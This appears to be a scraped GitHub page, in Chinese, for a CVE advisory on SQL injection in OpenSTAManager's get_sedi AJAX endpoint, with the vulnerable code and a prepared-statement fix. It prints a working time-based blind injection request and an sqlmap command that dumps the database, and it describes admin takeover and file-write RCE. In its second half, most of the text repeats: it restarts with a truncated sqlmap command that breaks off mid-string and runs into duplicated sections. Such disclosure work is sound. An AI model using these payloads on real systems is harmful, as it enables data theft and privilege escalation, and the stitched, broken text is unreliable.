lukasz-rybak/CVE-2025-69213
GitHub: lukasz-rybak/CVE-2025-69213
该项目揭示了 OpenSTAManager 中因 SQL 注入导致的数据泄露与权限提升风险,并提供了检测与修复方法。
Stars: 0 | Forks: 0
# CVE-2025-69213: OpenSTAManager 在 ajax_complete.php (get_sedi 端点) 中存在 SQL 注入
## 概述
| 字段 | 详情 |
|---|---|
| **CVE ID** | [CVE-2025-69213](https://nvd.nist.gov/vuln/detail/CVE-2025-69213) |
| **严重性** | 高危 |
| **公告** | [查看公告](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-w995-ff8h-rppg) |
| **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## 影响产品
- **devcode-it/openstamanager**(版本:<= 2.9.8)
## CWE 分类
- CWE-89:SQL 命令中特殊元素的不当清除('SQL 注入')
## 详情
### 摘要
在处理 `get_sedi` 操作时,`ajax_complete.php` 端点存在 SQL 注入漏洞。认证攻击者可通过 `idanagrafica` 参数注入恶意 SQL 代码,导致未经授权的数据库访问。
### 漏洞代码
**文件:** `modules/anagrafiche/ajax/complete.php:28`
```
case 'get_sedi':
$idanagrafica = get('idanagrafica');
$q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione
FROM an_sedi
WHERE idanagrafica='".$idanagrafica."' ...";
$rs = $dbo->fetchArray($q);
```
### 数据流
1. **来源:** `$_GET['idanagrafica']` → `get('idanagrafica')`
2. **脆弱点:** 用户输入直接拼接至 SQL 查询(带单引号)
3. **汇点:** `$dbo->fetchArray($q)` 执行恶意查询
### 利用方式
**手动利用示例(基于时间的盲注 SQLi):**
```
GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=
```
**SQLMap 利用:**
```
sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
--cookie="PHPSESSID=" \
--dbms=MySQL \
--technique=T \
--level=3 \
--dump
```
**SQLMap 输出:**
```
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12
```
## 影响
- **数据泄露:** 可完整提取数据库,包括用户凭证、客户数据、财务记录
- **权限提升:** 修改 `zz_users` 表以获取管理员权限
- **数据完整性:** 未经授权的修改或删除记录
- **潜在 RCE:** 若文件权限允许,可通过 `SELECT ... INTO OUTFILE` 实现远程代码执行
## 影响版本
- OpenSTAManager:已验证最新版本(截至 2025 年 12 月)
- 所有使用该端点的版本均可能存在影响
## 修复建议
使用预处理语句替换直接拼接:
**修改前:**
```
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";
```
**修改后:**
```
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";
```
## 参考
- OWASP SQL 注入:https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89:SQL 命令中特殊元素的不当清除
## 致谢
发现者:Łukasz Rybak
## 参考链接
- https://github.com/devcode-it/openstamanager/security/advisories/GHSA-w995-ff8h-rppg
- https://nvd.nist.gov/vuln/detail/CVE-2025-69213
- https://github.com/advisories/GHSA-w995-ff8h-rppg
**SQLMap 利用:**
```
sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
--cookie="PHPSESSID=
## 影响
- **数据泄露:** 可完整提取数据库,包括用户凭证、客户数据、财务记录
- **权限提升:** 修改 `zz_users` 表以获取管理员权限
- **数据完整性:** 未经授权的修改或删除记录
- **潜在 RCE:** 若文件权限允许,可通过 `SELECT ... INTO OUTFILE` 实现远程代码执行
## 影响版本
- OpenSTAManager:已验证最新版本(截至 2025 年 12 月)
- 所有使用该端点的版本均可能存在影响
## 修复建议
使用预处理语句替换直接拼接:
**修改前:**
```
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";
```
**修改后:**
```
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";
```
## 参考
- OWASP SQL 注入:https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89:SQL 命令中特殊元素的不当清除
## 致谢
发现者:Łukasz Rybak
## 参考链接
- https://github.com/devcode-it/openstamanager/security/advisories/GHSA-w995-ff8h-rppg
- https://nvd.nist.gov/vuln/detail/CVE-2025-69213
- https://github.com/advisories/GHSA-w995-ff8h-rppg标签:ajax_complete.php, CISA项目, CVE-2025-69213, CWE-89, DOE合作, get_sedi, idanagrafica, OpenSTAManager, OpenVAS, PHP, SQLMap, Web安全, 时间盲注, 漏洞分析, 编程工具, 蓝队分析, 认证绕过, 路径探测, 远程代码执行, 高危漏洞